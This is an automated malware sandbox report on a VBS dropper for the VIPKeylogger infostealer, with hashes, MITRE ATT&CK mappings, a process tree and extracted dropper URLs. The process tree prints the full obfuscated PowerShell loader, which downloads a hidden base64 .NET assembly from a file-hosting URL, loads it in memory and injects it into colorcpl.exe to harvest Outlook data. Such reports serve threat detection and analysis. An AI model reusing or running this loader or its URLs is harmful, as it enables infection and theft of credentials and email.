vipkeylogger | 76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2

General

Target

76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2.vbs
Size

12KB
MD5

8a330624d5189d9bcd491d93c29624c4
SHA1

b89dd3334cd355360ae7e6f85a060dbe4de9d01d
SHA256

76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2
SHA512

9af32c229db64bb133a39e7e3ec12dd269d971734fe2e46c61c0167696d6dc43c7ad274e7cbbcb0c41ac529a3ccdbb2a6e04ee1807cdfbe1dd3af11462016685
SSDEEP

96:khBZNNgct8LOgrf8x/JIcBkiYM1z9jRFtRQLNkOAhqL5s7n1muCweU:YBZNUOgrf6/JIcBkiYM1zbuLi7Aub

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

vipkeylogger

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	Process
4	5032	WScript.exe
5	5032	WScript.exe
18	4160	powershell.exe
27	4160	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
3956	powershell.exe
4160	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exeWScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

colorcpl.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	colorcpl.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	colorcpl.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	colorcpl.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
29	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 4160 set thread context of 1748	4160	powershell.exe	103

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

colorcpl.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	colorcpl.exe

Modifies registry class 1 IoCs

Processes:

WScript.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	WScript.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

powershell.exepowershell.execolorcpl.exe

pid	Process
3956	powershell.exe
3956	powershell.exe
4160	powershell.exe
4160	powershell.exe
1748	colorcpl.exe
1748	colorcpl.exe
1748	colorcpl.exe
1748	colorcpl.exe
1748	colorcpl.exe
1748	colorcpl.exe
1748	colorcpl.exe
1748	colorcpl.exe
1748	colorcpl.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.execolorcpl.exe

description	pid	Process
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeDebugPrivilege	4160	powershell.exe
Token: SeDebugPrivilege	1748	colorcpl.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exeWScript.exepowershell.exepowershell.exe

description	pid	Process	procid_target
PID 2356 wrote to memory of 5032	2356	WScript.exe	83
PID 2356 wrote to memory of 5032	2356	WScript.exe	83
PID 5032 wrote to memory of 3956	5032	WScript.exe	87
PID 5032 wrote to memory of 3956	5032	WScript.exe	87
PID 3956 wrote to memory of 4160	3956	powershell.exe	90
PID 3956 wrote to memory of 4160	3956	powershell.exe	90
PID 4160 wrote to memory of 1748	4160	powershell.exe	103
PID 4160 wrote to memory of 1748	4160	powershell.exe	103
PID 4160 wrote to memory of 1748	4160	powershell.exe	103
PID 4160 wrote to memory of 1748	4160	powershell.exe	103
PID 4160 wrote to memory of 1748	4160	powershell.exe	103
PID 4160 wrote to memory of 1748	4160	powershell.exe	103
PID 4160 wrote to memory of 1748	4160	powershell.exe	103
PID 4160 wrote to memory of 1748	4160	powershell.exe	103
PID 4160 wrote to memory of 1748	4160	powershell.exe	103

outlook_office_path 1 IoCs

Processes:

colorcpl.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	colorcpl.exe

outlook_win_path 1 IoCs

Processes:

colorcpl.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	colorcpl.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2.vbs"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\emksjAafCReiQSFZxSk.vbs"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNoZUxMSURbMV0rJHNoRUxMSURbMTNdKydYJykgKCgnV0V3aW1hZ2VVcmwgPSBUb1JodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maScrJ2xlL2dldD9maWxla2V5PTJBYV9iV285UmV1NDV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0RycrJ3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzNXcmcGtfdicrJ2lkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MCcrJzRmIFRvUjtXRXd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQycrJ2xpZW50O1dFd2ltYWdlQnl0ZXMgPSBXRXd3ZWJDbGllbnQnKycuRG93bmxvYWREYXRhKFdFd2ltYWdlVXJsKTtXRXdpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4JysnLicrJ0dldFN0cmluZyhXRXdpbWFnZUJ5dGVzKTtXRXdzdGFydEZsYWcgPScrJyBUb1I8JysnPEJBU0U2NF9TVEFSVD4+VG9SO1dFd2VuZEZsYWcgPSBUb1I8PEJBU0U2NF9FTkQ+PlRvUjtXRXdzdGFydEluZCcrJ2V4JysnID0gV0V3aScrJ21hZ2VUZXh0LkluJysnZGV4T2YoV0V3c3RhcnRGbGFnKTtXRXcnKydlJysnbmRJbmRleCA9IFdFd2ltYWdlVGV4dC5JbmRleE9mKFdFd2VuZEZsYWcpO1dFd3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXRXdlbmRJbmRleCAtZ3QgV0V3c3RhcnRJbmRleDtXRXdzdGFydEluZGV4ICs9IFdFd3N0YXJ0RmxhZy5MZW5ndGg7V0V3YicrJ2FzZTY0TGUnKyduZ3RoID0gV0V3ZW5kSW5kZXggLSBXRXdzdGFydEluZGV4O1dFd2Jhc2U2NENvbW1hbmQnKycgPSBXRXdpbWFnZVRleCcrJ3QuJysnU3Vic3RyaW5nKFdFd3N0YXJ0SW5kZXgsIFdFd2Jhc2U2NExlbmd0aCk7V0V3YmFzZTY0UmUnKyd2ZXJzZWQgPSAtam9pbiAnKycoV0V3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHRkdyBGb3JFYWNoLU9iamVjdCB7IFdFd18gfSlbLTEuLi0oV0V3YmFzZTY0Q29tbWFuZC5MZW5ndGgpXScrJztXRXdjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0JysnU3RyaW5nKFdFd2Jhc2U2NFJldmVyc2VkKTtXRXdsb2FkZWQnKydBJysnc3NlbWJseScrJyA9IFtTJysneXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYScrJ2QoV0V3Y29tbWFuZEJ5dCcrJ2VzKTtXRXd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFRvUlZBSVRvUik7V0V3dmFpTWV0aG9kLkludm9rZShXRXdudWxsLCBAKFRvUnR4dC5kc3RlcC9wb3AvdWUucHJneGFteWdyZW5lLmdpZy8vOnB0dGhUb1IsIFRvUmRlc2F0aXZhZCcrJ29Ub1IsICcrJ1RvUmRlc2F0aXZhZG8nKydUb1IsIFRvUmRlc2F0aXZhZG9Ub1IsIFRvUmRlc2F0aScrJ3ZhZG9UJysnb1IsIFRvUjFUb1IsIFRvUmNvbG9yY3BsVG9SLCBUb1JkJysnZXNhdGl2YWRvVG9SLCBUb1JkZXNhdGl2YWRvVG9SLFRvUmRlJysnc2F0aXZhZG9Ub1IsVG9SZGVzYXRpdmFkb1RvUixUb1JkZXNhdGl2YWRvVG9SLFRvUjFUb1IsVG9SZGVzYScrJ3RpdmFkb1RvUiknKycpOycpLlJlUGxhY2UoJ3RkdycsW1NUckluZ11bQ0hBUl0xMjQpLlJlUGxhY2UoJ1RvUicsW1NUckluZ11bQ0hBUl0zOSkuUmVQbGFjZSgnV0V3JyxbU1RySW5nXVtDSEFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3956
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sheLLID[1]+$shELLID[13]+'X') (('WEwimageUrl = ToRhttps://1017.filemail.com/api/fi'+'le/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStG'+'rnTICfFhmTKj3LC6SQtIcOc_T35w&pk_v'+'id=fd4f614bb209c62c1730945176a090'+'4f ToR;WEwwebClient = New-Object System.Net.WebC'+'lient;WEwimageBytes = WEwwebClient'+'.DownloadData(WEwimageUrl);WEwimageText = [System.Text.Encoding]::UTF8'+'.'+'GetString(WEwimageBytes);WEwstartFlag ='+' ToR<'+'<BASE64_START>>ToR;WEwendFlag = ToR<<BASE64_END>>ToR;WEwstartInd'+'ex'+' = WEwi'+'mageText.In'+'dexOf(WEwstartFlag);WEw'+'e'+'ndIndex = WEwimageText.IndexOf(WEwendFlag);WEwstartIndex -ge 0 -and WEwendIndex -gt WEwstartIndex;WEwstartIndex += WEwstartFlag.Length;WEwb'+'ase64Le'+'ngth = WEwendIndex - WEwstartIndex;WEwbase64Command'+' = WEwimageTex'+'t.'+'Substring(WEwstartIndex, WEwbase64Length);WEwbase64Re'+'versed = -join '+'(WEwbase64Command.ToCharArray() tdw ForEach-Object { WEw_ })[-1..-(WEwbase64Command.Length)]'+';WEwcommandBytes = [System.Convert]::FromBase64'+'String(WEwbase64Reversed);WEwloaded'+'A'+'ssembly'+' = [S'+'ystem.Reflection.Assembly]::Loa'+'d(WEwcommandByt'+'es);WEwvaiMethod = [dnlib.IO.Home].GetMethod(ToRVAIToR);WEwvaiMethod.Invoke(WEwnull, @(ToRtxt.dstep/pop/ue.prgxamygrene.gig//:ptthToR, ToRdesativad'+'oToR, '+'ToRdesativado'+'ToR, ToRdesativadoToR, ToRdesati'+'vadoT'+'oR, ToR1ToR, ToRcolorcplToR, ToRd'+'esativadoToR, ToRdesativadoToR,ToRde'+'sativadoToR,ToRdesativadoToR,ToRdesativadoToR,ToR1ToR,ToRdesa'+'tivadoToR)'+');').RePlace('tdw',[STrIng][CHAR]124).RePlace('ToR',[STrIng][CHAR]39).RePlace('WEw',[STrIng][CHAR]36) )"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4160
    - - C:\Windows\SysWOW64\colorcpl.exe
        
        "C:\Windows\SysWOW64\colorcpl.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:1748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jjgi4wnq.5j5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\emksjAafCReiQSFZxSk.vbs

Filesize
1KB

MD5
c1ab9e3c7a5a70259e486e1b35e791dd

SHA1
f0f6ebff9ebfac13bf995bccf8193daf58827652

SHA256
6cc7e3be7d1abd44b8cd67b15cbc5c86ee366edc63da01e0b1b7544982551738

SHA512
9d705558cd936e603ae1db6860fa1f2a7337acf8df787ca1acb9a32c96d0345834b705aac1c503215127fefe01057bd789be276cc2a377dc29c856e0b78fd9d2

Download Submit
memory/1748-31-0x0000000002A80000-0x0000000002AD0000-memory.dmp

Filesize
320KB

Download
memory/1748-27-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/1748-24-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/1748-32-0x0000000005530000-0x0000000005AD4000-memory.dmp

Filesize
5.6MB

Download
memory/1748-33-0x0000000002B50000-0x0000000002B9E000-memory.dmp

Filesize
312KB

Download
memory/1748-34-0x0000000005020000-0x00000000050BC000-memory.dmp

Filesize
624KB

Download
memory/1748-35-0x00000000061B0000-0x0000000006372000-memory.dmp

Filesize
1.8MB

Download
memory/1748-36-0x0000000006030000-0x0000000006080000-memory.dmp

Filesize
320KB

Download
memory/1748-37-0x00000000068B0000-0x0000000006DDC000-memory.dmp

Filesize
5.2MB

Download
memory/1748-38-0x0000000006660000-0x00000000066F2000-memory.dmp

Filesize
584KB

Download
memory/1748-39-0x0000000006430000-0x000000000643A000-memory.dmp

Filesize
40KB

Download
memory/3956-4-0x000002705D110000-0x000002705D132000-memory.dmp

Filesize
136KB

Download
memory/4160-23-0x0000013CDA110000-0x0000013CDA268000-memory.dmp

Filesize
1.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads